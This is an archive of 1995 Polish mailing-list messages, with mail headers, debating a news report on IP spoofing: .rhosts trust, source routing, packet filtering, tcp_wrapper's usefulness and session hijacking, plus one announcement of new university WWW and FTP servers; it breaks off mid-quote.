:    "This is a really tough problem because it is an attack based on the way
: things work normally," said Marcus Ranum, a senior scientist at Trusted
: Information Systems, a computer security firm.
Dziwi mnie, ze Marcus (znany ze swoich radykalnych pogladow na bezpieczenstwo)
uznal za normalny stan, w ktorym bezpieczenstwo bazuje na adresach IP (vide
.rhosts). Odkad pamietam, byl zwolennikiem silnej kryptograficznej 
autentykacji. Ten facet uwaza hasla (obojetne jak skomplikowane) za 
przestarzala technologie (i ma duzo racji).

:    "These guys are striking the basis of trust that makes the network work," Mr.
: Ranum said, "and I hate that."
To niestety prawda... Ale w momencie, kiedy Internet zaczyna byc uzywany do
celow komercyjnych (wedruja po nim numery kart kredytowych itp.) enkrypcja
staje sie koniecznoscia. 

--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 24 16:20:11 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12538; Tue, 24 Jan 95 16:19:22 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA07646 for polip@zsku.p.lodz.pl; Tue, 24 Jan 1995 16:21:06 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 24 Jan 1995 15:04:59 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3g34ur$6df@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501240658.AA27648@phys.ufl.edu>, <3g30q9$pld@galaxy.uci.agh.edu.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Szymon Sokol (szymon@uci.agh.edu.pl) wrote:

: :    The new attack makes use of a flaw in the design of the network to fool the
: : router computers into believing that a message is coming from a trusted source. 
: : By masquerading as a familiar computer, an attacker can gain access to
: : protected computer resources and seize control of an otherwise well-defended
: : system.
: Mowiac krotko: chodzi o "packet forging". Jezeli router pozwala wylaczyc
: "source routing" i nie akceptuje pakietow przychodzacych "ze zlej strony",
: to ten atak sie nie uda. Poza tym, jezeli Twoj komputer nie uznaje zadnych
: innych za "trusted" (w sensie .rhosts, NFS, itd.) to rowniez nie zadziala.
: Nie jest tak zle. Stwierdzenie ze "esentially everyone is vulnerable" nalezy
: uznac za gruba przesade.

Czyli - ogolnie rzecz biorac nie jestesmy specjalnie zagrozeni, bo malo kto
uwaza za trusted cokolwiek spoza swojego kabla.

Przesada wynika z tego, ze artykul pisal dziennikarz.

: :    "This is a really tough problem because it is an attack based on the way
: : things work normally," said Marcus Ranum, a senior scientist at Trusted
: : Information Systems, a computer security firm.
: Dziwi mnie, ze Marcus (znany ze swoich radykalnych pogladow na bezpieczenstwo)
: uznal za normalny stan, w ktorym bezpieczenstwo bazuje na adresach IP (vide
: .rhosts). Odkad pamietam, byl zwolennikiem silnej kryptograficznej 
: autentykacji. Ten facet uwaza hasla (obojetne jak skomplikowane) za 
: przestarzala technologie (i ma duzo racji).

: :    "These guys are striking the basis of trust that makes the network work," Mr.
: : Ranum said, "and I hate that."
: To niestety prawda... Ale w momencie, kiedy Internet zaczyna byc uzywany do
: celow komercyjnych (wedruja po nim numery kart kredytowych itp.) enkrypcja
: staje sie koniecznoscia. 

To jest ogolnie dziwne, ze przy istniejacych technologiach kryptologicznych
zwykle przepustki sa wciaz podstawowa metoda weryfikacji tozsamosci
uzytkownikow. 

To jest dla mnie rowinie dziwne, jak to, ze producenci drogich samochodow
wciaz produkuja do nich metalowe kluczyki.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From zych@student.uci.agh.edu.pl Tue Jan 24 16:55:59 1995
Received: from galaxy.uci.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13481; Tue, 24 Jan 95 16:51:21 +0100
Return-Path: <zych@student.uci.agh.edu.pl>
Received: from student.uci.agh.edu.pl by uci.agh.edu.pl (8.6.9/ALLMAN-8.6.9)
	id QAA14185; Tue, 24 Jan 1995 16:56:46 +0100
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Received: by student.uci.agh.edu.pl (8.6.9/ALLMAN-8.6.9)
	id QAA08390; Tue, 24 Jan 1995 16:56:21 +0100
From: zych@student.uci.agh.edu.pl (Zbigniew Zych)
Message-Id: <199501241556.QAA08390@student.uci.agh.edu.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Tue, 24 Jan 1995 16:56:21 +0100 (MET)
In-Reply-To: <3g34ur$6df@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 24, 95 04:24:48 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1136      

Andrzej K. Brandt wrote:
> To jest ogolnie dziwne, ze przy istniejacych technologiach kryptologicznych
> zwykle przepustki sa wciaz podstawowa metoda weryfikacji tozsamosci
> uzytkownikow. 

Fakt... 

> To jest dla mnie rowinie dziwne, jak to, ze producenci drogich samochodow
> wciaz produkuja do nich metalowe kluczyki.

Kwestia przyzwyczajenia klientow...

Wyobrazasz sobie nowobogackiego, co sie nie zna na komputerach, i mialby
"zapalic" swego np. Jaguara karta magnetyczna albo nawet procesorowa,
i jeszcze wprowadzic 12 cyfrowy kod powstaly z wyliczenia prostego
rownania kwadratowego?

[ Dla ludzi z malym poczuciem humoru - podpowiedz: te 12 cyfr - to byl
  zart - prosze nie pisac na ten temat na liste... ;) jesli juz musisz
  pisz na moj prywatny adres...  ;) ]

							Zbigniew Zych
PS: a jednak zostawie "ircnick" w .Sig.... Bo L*** nie uzywam...
No chyba zeby okreslic uzywajacych tego slowa.... ;)


-- Zbigniew Zych     ircnick: Zyzio            home phone: 48+12-48.74.29
-- email&finger: zych@ernie.icslab.agh.edu.pl zych@student.uci.agh.edu.pl
-- <A HREF="http://www.uci.agh.edu.pl/student/infgrp/zych">HomePage</a>
From yppawlus@cyf-kr.edu.pl Tue Jan 24 17:05:24 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14076; Tue, 24 Jan 95 17:04:52 +0100
Return-Path: <yppawlus@cyf-kr.edu.pl>
Received: from mg.cyf-kr.edu.pl (mg.cyf-kr.edu.pl [149.156.2.8]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id RAA13340 for <polip@zsku.p.lodz.pl>; Tue, 24 Jan 1995 17:06:53 +0100
From: Jerzy Pawlus <Jerzy.Pawlus@cyf-kr.edu.pl>
Received: (yppawlus@localhost) by mg.cyf-kr.edu.pl (8.6.9/8.6.9) id RAA03258; Tue, 24 Jan 1995 17:07:41 +0100
Date: Tue, 24 Jan 1995 17:07:41 +0100
Message-Id: <199501241607.RAA03258@mg.cyf-kr.edu.pl>
To: polip@zsku.p.lodz.pl
In-Reply-To: <3g30q9$pld@galaxy.uci.agh.edu.pl> (szymon@uci.agh.edu.pl)
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci


> 
> Lech Borkowski (lbs@phys.ufl.edu) wrote:
> 
> : comments, anyone?
> Tak, ja pozwole sobie skomentowac:
> 
> :    The new attack makes use of a flaw in the design of the network to fool the
> : router computers into believing that a message is coming from a trusted source. 
> : By masquerading as a familiar computer, an attacker can gain access to
> : protected computer resources and seize control of an otherwise well-defended
> : system.
> Mowiac krotko: chodzi o "packet forging". Jezeli router pozwala wylaczyc
> "source routing" i nie akceptuje pakietow przychodzacych "ze zlej strony",
> to ten atak sie nie uda. Poza tym, jezeli Twoj komputer nie uznaje zadnych
> innych za "trusted" (w sensie .rhosts, NFS, itd.) to rowniez nie zadziala.
> Nie jest tak zle. Stwierdzenie ze "esentially everyone is vulnerable" nalezy
> uznac za gruba przesade.
> 

Niestety Szymonie nie do konca sie z Toba zgodze. Moim zdaniem ten typ
wlaman moze miec powazne konsekwencje dla rozwoju sieci Internet.
I moze nie jest przypadkiem, ze problem zostal ujawniony gdy do
Internetu na masowa skale przylaczaja sie firmy komercyjne i banki i
ze coraz czesciej dochodzi do roznych transkacji handlowych poprzez
Internet.

Dla mnie mozliwosc penetracji sieci lokalnej z zewnatrz (pomijajac
source routing, gdyz nie to spowodowalo cale zamieszanie) calkowicie wyklucza
stosowanie tzw. "unix authorization". Popatrz ilu uzytkownikow nawet
na Twojej maszynie stosuje .rhosts (oni potencjalnie moga byc obiektem
penetracji i stanowic odskocznie do dalszych szkod)
Kto na swiecie, nie mowiac o Polsce stosuje filtry nie wpuszczjace
z zewnatrz do swojej sieci pakietow o adresie zrodlowym swojej sieci?

Osobiscie mysle, ze z uwagi na techniczne problemy zwiazane z penetracja
tej dziury bezposrednie niebezpieczenstwo nam nie grozi. Ale nie bylbym
takim optymista w przypadku bankow czy innych powaznych instytucji
zarabiajacych z pomoca sieci.

Na tym nie koniec. Razem z IP spoofing pojawily sie informacje o
mozliwosci przechytywania sesji interakcyjnych (telnet, rlogin).
Na szczescie trzeba miec do tego uprawnienia root'a.

Jurek
From yppawlus@cyf-kr.edu.pl Tue Jan 24 17:11:00 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14241; Tue, 24 Jan 95 17:07:41 +0100
Return-Path: <yppawlus@cyf-kr.edu.pl>
Received: from mg.cyf-kr.edu.pl (mg.cyf-kr.edu.pl [149.156.2.8]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id RAA13369 for <polip@zsku.p.lodz.pl>; Tue, 24 Jan 1995 17:09:40 +0100
From: Jerzy Pawlus <Jerzy.Pawlus@cyf-kr.edu.pl>
Received: (yppawlus@localhost) by mg.cyf-kr.edu.pl (8.6.9/8.6.9) id RAA03262; Tue, 24 Jan 1995 17:10:28 +0100
Date: Tue, 24 Jan 1995 17:10:28 +0100
Message-Id: <199501241610.RAA03262@mg.cyf-kr.edu.pl>
To: polip@zsku.p.lodz.pl
In-Reply-To: <3g34ur$6df@ghost.mimuw.edu.pl> (andy@eleet.mimuw.edu.pl)
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci


> 
> Czyli - ogolnie rzecz biorac nie jestesmy specjalnie zagrozeni, bo malo kto
> uwaza za trusted cokolwiek spoza swojego kabla.
> 
> Przesada wynika z tego, ze artykul pisal dziennikarz.
> 

  Niestety nie. Problem lezy w tym, ze jestes zagrozony jezeli masz
  trusted na swoim kablu.

Jurek
From chris@highresnmr.biophys.upenn.edu Tue Jan 24 17:40:59 1995
Received: from NOC4.DCCS.UPENN.EDU by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15684; Tue, 24 Jan 95 17:39:10 +0100
Received: from HIGHRESNMR.BIOPHYS.UPENN.EDU by noc4.dccs.upenn.edu
	id AA12539; Tue, 24 Jan 95 11:44:53 -0500
Return-Path: <chris@highresnmr.biophys.upenn.edu>
Received: by highresnmr.biophys.upenn.edu
	id AA03522; Tue, 24 Jan 95 11:37:16 EST
Date: Tue, 24 Jan 95 11:37:16 EST
From: chris@highresnmr.biophys.upenn.edu (Krzysztof Wroblewski)
Posted-Date: Tue, 24 Jan 95 11:37:16 EST
Message-Id: <9501241637.AA03522@highresnmr.biophys.upenn.edu>
To: polip@zsku.p.lodz.pl
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Jedyna w miare pewna metoda zabezpieczania sieci lokalnych jest pelna
izolacja. Obawiam sie, ze to wszystko wlasnie bedzie szlo w tym kierunku.
Przyklad z wlasnego podworka: w szpitalu uniwersyteckim siec lokalna
obejmujaca kilka tysiecy komputerow jest niekompatybilna z niczym i nie ma
wyjscia poza uniwersytet. Nawet gniazdka zrobione sa tak, zeby nic innego
tam nie pasowalo. Te zas komputery ktore sa w sieci ogolnouniwersyteckiej
czyli w Internecie nie moga byc rownoczesnie polaczone do sieci szpitalnej.
Nie wolno rowniez na nich przechowywac zadnych danych dotyczacych pacjentow.
Oczywiscie pacjenci za to placa, wiec nie jest to moze problem finansowy
ale pozostaje zwyczajna niedogodnosc.

Krzysztof Wroblewski
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 24 22:01:01 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18611; Tue, 24 Jan 95 21:59:06 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA13122 for polip@zsku.p.lodz.pl; Tue, 24 Jan 1995 21:58:56 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 24 Jan 1995 20:57:48 GMT
From: kszychu@i17linuxa.ists.pwr.wroc.pl (Krzysztof Gozdz)
Message-Id: <3g3pkc$ekq@sun1000.ci.pwr.wroc.pl>
Organization: Technical University of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Nowe polskie zasoby sieciowe

Zglaszam dwa nowe polskie zasoby sieciowe.
W Instytucie Sterowania i Techniki Systemow Politechniki Wroclawskiej
uruchomilismy serwery WWW i Anonymous FTP.  Jako ciekawoste podaje,
ze oba serwery pracuja na jednym malym systemie Linux'owym.

  Resource:  http://www.ists.pwr.wroc.pl/, world wide web server
  Type:      world wide web server
  Place:     Institute of Control and Systems Engineering,
 +Place:     Technical Univeristy of Wroclaw, Wroclaw, Poland
  Contact:   Marek Kuchciak <webmaster@www.ists.pwr.wroc.pl>
  Date:      95.01.24
  URL:       http://www.ists.pwr.wroc.pl/

  Resource:  ftp.ists.pwr.wroc.pl, anonymous ftp
  Type:      anonymous ftp
  Place:     Institute of Control and Systems Engineering,
 +Place:     Technical University of Wroclaw, Wroclaw, Poland
  Contact:   Marek Michalkiewicz <ftp-admin@ftp.ists.pwr.wroc.pl>
  Date:      95.01.24
  URL:       ftp://ftp.ists.pwr.wroc.pl/

Informacje te wysylam do dwoch polskich grup news'owych:
 * pl.internet.nowosci,
 * pl.listserv.polip.

3majcie sie!

-Kszychu

PS/1  Macku, dzieki za pomoc. :-)
--
   ///\     Name: Krzysztof Gozdz "Kszychu"
   C ..    Study: Poland   Wroclaw   Technical University
     _\           Institute of Control and Systems Engineering
   \ \    E-mail: kszychu@i17linuxa.ists.pwr.wroc.pl
             WWW: http://www.ists.pwr.wroc.pl/~kszychu
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 09:01:46 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02927; Wed, 25 Jan 95 08:58:58 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id IAA22139 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 08:50:23 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 25 Jan 1995 07:34:33 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3g4uu9$45m@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501240658.AA27648@phys.ufl.edu>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Lech Borkowski (lbs@phys.ufl.edu) wrote:
> ------------------------------------------------------------------------------

> Data Network Is Found Open To New Threat

>    The security warning to be issued on Monday will include a list of brands of 
> router computers that can use a computer program to protect against the new
> attack, which is called IP, or Internet protocol, spoofing. The new defense
> works by recognizing packets that have been forged and rejecting them. But the
> advisory will also list brands of routers that have no way of protecting against
> the attack.

'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja,
ktora autor nazwal PARANOID (przeciw DNS spoofing) jest teraz
wkompilowana w tcpd w Slackware Linux. Do czyszczenia opcji IP sluzy
KILL_IP_OPTIONS (W Linuxie niepotrzebna bo opcje nie sa zaimplementowane).i
Jezeli ktos podejrzewa, ze jego tcpd tego nie robi to jest dobra okazja
zeby skompilowac nowa wersje - 7.1, tylko do Suna potrzebny jest patch
100804-03 lub 101790, jak informuje Venema. tcp_wrapper wykorzystuje
tez demona ident, jezeli jest dostepny.

>    Computer security experts said there was no good way of estimating what
> fraction of the Internet computers have routers or fire wall software capable of
> protecting against the attack.

Nie moge sie oprzec (to obsesja jakas) zeby znowu nie wspomniec Linuxa.
Fire wall jest na wyposazeniu...

>    Most computer security experts say that real security on the Internet awaits 
> the widespread adoption of encryption technology for scrambling data and
> authenticating messages.

To juz prawie jest - troche RFC, zrodla BSD - tylko prawo nawala, wiec
nie pojawia sie swiatowy standard.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From yppawlus@cyf-kr.edu.pl Wed Jan 25 09:31:47 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03821; Wed, 25 Jan 95 09:29:51 +0100
Return-Path: <yppawlus@cyf-kr.edu.pl>
Received: from mg.cyf-kr.edu.pl (mg.cyf-kr.edu.pl [149.156.2.8]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id JAA17039 for <polip@zsku.p.lodz.pl>; Wed, 25 Jan 1995 09:32:04 +0100
From: Jerzy Pawlus <Jerzy.Pawlus@cyf-kr.edu.pl>
Received: (yppawlus@localhost) by mg.cyf-kr.edu.pl (8.6.9/8.6.9) id JAA03380; Wed, 25 Jan 1995 09:32:51 +0100
Date: Wed, 25 Jan 1995 09:32:51 +0100
Message-Id: <199501250832.JAA03380@mg.cyf-kr.edu.pl>
To: polip@zsku.p.lodz.pl
In-Reply-To: <3g4uu9$45m@Waldemar.mat.uni.torun.pl> (rzm@dain.oso.chalmers.se)
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci


> Lech Borkowski (lbs@phys.ufl.edu) wrote:
> > ------------------------------------------------------------------------------
> 
> > Data Network Is Found Open To New Threat
> 
> >    The security warning to be issued on Monday will include a list of brands of 
> > router computers that can use a computer program to protect against the new
> > attack, which is called IP, or Internet protocol, spoofing. The new defense
> > works by recognizing packets that have been forged and rejecting them. But the
> > advisory will also list brands of routers that have no way of protecting against
> > the attack.
> 
> 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja,
> ktora autor nazwal PARANOID (przeciw DNS spoofing) jest teraz
> wkompilowana w tcpd w Slackware Linux. Do czyszczenia opcji IP sluzy
> KILL_IP_OPTIONS (W Linuxie niepotrzebna bo opcje nie sa zaimplementowane).i
> Jezeli ktos podejrzewa, ze jego tcpd tego nie robi to jest dobra okazja
> zeby skompilowac nowa wersje - 7.1, tylko do Suna potrzebny jest patch
> 100804-03 lub 101790, jak informuje Venema. tcp_wrapper wykorzystuje
> tez demona ident, jezeli jest dostepny.
> 

Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny.

Jurek
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 10:41:47 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05225; Wed, 25 Jan 95 10:38:56 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA23501 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 10:27:14 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 25 Jan 1995 09:12:53 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3g54ml$6k3@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501250832.JAA03380@mg.cyf-kr.edu.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Jerzy Pawlus (Jerzy.Pawlus@cyf-kr.edu.pl) wrote:

> > Lech Borkowski (lbs@phys.ufl.edu) wrote:
> > >    The security warning to be issued on Monday will include a list of brands of 
> > > router computers that can use a computer program to protect against the new
> > > attack, which is called IP, or Internet protocol, spoofing. The new defense
> > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja,
> Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny.

Dopiero zabralem sie za czytanie zaleglych news. Faktycznie. Tak twierdzi
CERT. Ale z artykulu trudno sie domyslec...

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From JASZA@samba.iss.uw.edu.pl Wed Jan 25 11:06:48 1995
Received: from cocos.fuw.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06275; Wed, 25 Jan 95 11:06:13 +0100
Return-Path: <JASZA@samba.iss.uw.edu.pl>
Received: from samba.iss.uw.edu.pl ([148.81.140.8]) by cocos.fuw.edu.pl (4.1/SMI-4.1)
	id AA07965; Wed, 25 Jan 95 11:12:09 +0100
Received: from SAMBA/MAIL by samba.iss.uw.edu.pl (Mercury 1.12);
    Wed, 25 Jan 95 11:18:09 +1100
Received: from MAIL by SAMBA (Mercury 1.12); Wed, 25 Jan 95 11:17:59 +1100
From: "Jacek Szamrej" <JASZA@samba.iss.uw.edu.pl>
Organization:  ISS UW
To: polip@zsku.p.lodz.pl
Date:          Wed, 25 Jan 1995 11:17:57 CET
Subject:       Re: kolejna seria wlaman; bezpieczenstwo sieci
Priority: normal
X-Mailer:     PMail v3.0 (R1)
Message-Id: <2F557564034@samba.iss.uw.edu.pl>

> 
> Dopiero zabralem sie za czytanie zaleglych news. Faktycznie. Tak twierdzi
> CERT. Ale z artykulu trudno sie domyslec...
> 
Wlasnie trudno sie czegos domyslec z tego artykulu.
Czy kto moglby napisac cos wiecej o tej nowej metodzie ?

> R.
> -- 
> Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
> Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
> 
Pozdrowienia,
 ...
Jacek Szamrej                jasza@samba.iss.uw.edu.pl
Center for Complex Systems,
Institute for Social Studies, Univ. of Warsaw, Poland
From RESZ@PLUMCS11.BITNET Wed Jan 25 11:16:48 1995
Received: from plearn.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06737; Wed, 25 Jan 95 11:13:20 +0100
Return-Path: <RESZ@PLUMCS11.BITNET>
Message-Id: <9501251013.AA06737@zsku.p.lodz.pl>
Received: from PLEARN.EDU.PL by plearn.edu.pl (IBM VM SMTP V2R1)
   with BSMTP id 4270; Wed, 25 Jan 95 11:18:18 CET
Received: from PLUMCS11.UMCS.LUBLIN.PL (NJE origin MAILER@PLUMCS11) by PLEARN.EDU.PL (LMail V1.2a/1.8a) with BSMTP id 0739; Wed, 25 Jan 1995 11:18:17 +0200
Received: from PLUMCS11 (RESZ) by PLUMCS11.UMCS.LUBLIN.PL (Mailer R2.10 ptf000)
 with BSMTP id 9340; Wed, 25 Jan 95 11:18:43 CET
Date:         Wed, 25 Jan 95 11:07:04 CET
From: Andrzej Resztak <RESZ%PLUMCS11@plearn.edu.pl>
Subject:      Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
In-Reply-To:  Message of Tue, 24 Jan 95 17:10:38 +0100 from
 <Jerzy.Pawlus@cyf-kr.edu.pl>

On Tue, 24 Jan 95 17:10:38 +0100 Jerzy Pawlus said:
>Kto na swiecie, nie mowiac o Polsce stosuje filtry nie wpuszczjace
>z zewnatrz do swojej sieci pakietow o adresie zrodlowym swojej sieci?

 A w Polsce ktos stosuje? Zagrozenie i tak jest niewielkie
(zalezy od aplikacji) gdyz komunikacja jest tylko jednostronna.

>Na tym nie koniec. Razem z IP spoofing pojawily sie informacje o
>mozliwosci przechytywania sesji interakcyjnych (telnet, rlogin).
>Na szczescie trzeba miec do tego uprawnienia root'a.

To zawsze bylo mozliwe i to bez uprawnien root-a (a nawiasem mowiac
to root-em moze byc kazdy na swoim linux-ie, a TCP/IP jest tez
pod DOS-em, Macintosh-em itd.). Trzeba jednak miec komputer podlaczony
do sieci przez dwa lacza. Mowimy wtedy jednemu router-owi, ze mamy
najkrotsza droge gdzies tam, przechwytujemy pakiet i wysylamy
do drugiego (blizszego). Jak sie na tym znasz taki program
mozesz napisac pod dowolnym systemem. Jest to jednak nieco zmudne.
Poza tym lokalnie mozna zawsze podsluchiwac pakiety na ethernecie,
niestety.

Andrzej
From krzysio@hebe.umcs.lublin.pl Wed Jan 25 13:31:49 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09223; Wed, 25 Jan 95 13:28:44 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id MAA03568 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 12:34:54 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501251234.MAA03568@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Wed, 25 Jan 1995 13:34:54 +0100 (MET)
In-Reply-To: <199501250832.JAA03380@mg.cyf-kr.edu.pl> from "Jerzy Pawlus" at Jan 25, 95 09:35:09 am
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1723      

Jerzy Pawlus wrote:
> 
> > > advisory will also list brands of routers that have no way of protecting against
> > > the attack.
> > 
> > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja,
> > ktora autor nazwal PARANOID (przeciw DNS spoofing) jest teraz
> > wkompilowana w tcpd w Slackware Linux. Do czyszczenia opcji IP sluzy
> > KILL_IP_OPTIONS (W Linuxie niepotrzebna bo opcje nie sa zaimplementowane).i
> > Jezeli ktos podejrzewa, ze jego tcpd tego nie robi to jest dobra okazja
> > zeby skompilowac nowa wersje - 7.1, tylko do Suna potrzebny jest patch
> > 100804-03 lub 101790, jak informuje Venema. tcp_wrapper wykorzystuje
> > tez demona ident, jezeli jest dostepny.
> > 
> 
> Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny.
> 

Akurat nie jest to prawda. Polecam dyskusje na liscie firewalls.
Tam wlasnie TCP Wraper jest wskazywany, jako jedyny dzialajacy tool,
bedacy w stanie chocby czesciowo zabezpieczyc nas przed spoofingiem. Co
wiecej autorzy postingow wskazuja takze na potrzebe instalacji ident'a
(RFC 931).

					Pozdrawiam,
					   -Krzysio
--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Wed Jan 25 13:36:48 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09430; Wed, 25 Jan 95 13:36:34 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id MAA03582 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 12:42:45 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501251242.MAA03582@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Wed, 25 Jan 1995 13:42:44 +0100 (MET)
In-Reply-To: <3g54ml$6k3@Waldemar.mat.uni.torun.pl> from "Rafal Maszkowski" at Jan 25, 95 10:45:54 am
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2812      

Rafal Maszkowski wrote:
> 
> Jerzy Pawlus (Jerzy.Pawlus@cyf-kr.edu.pl) wrote:
> 
> > > Lech Borkowski (lbs@phys.ufl.edu) wrote:
> > > >    The security warning to be issued on Monday will include a list of brands of 
> > > > router computers that can use a computer program to protect against the new
> > > > attack, which is called IP, or Internet protocol, spoofing. The new defense
> > > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja,
> > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny.
> 
> Dopiero zabralem sie za czytanie zaleglych news. Faktycznie. Tak twierdzi
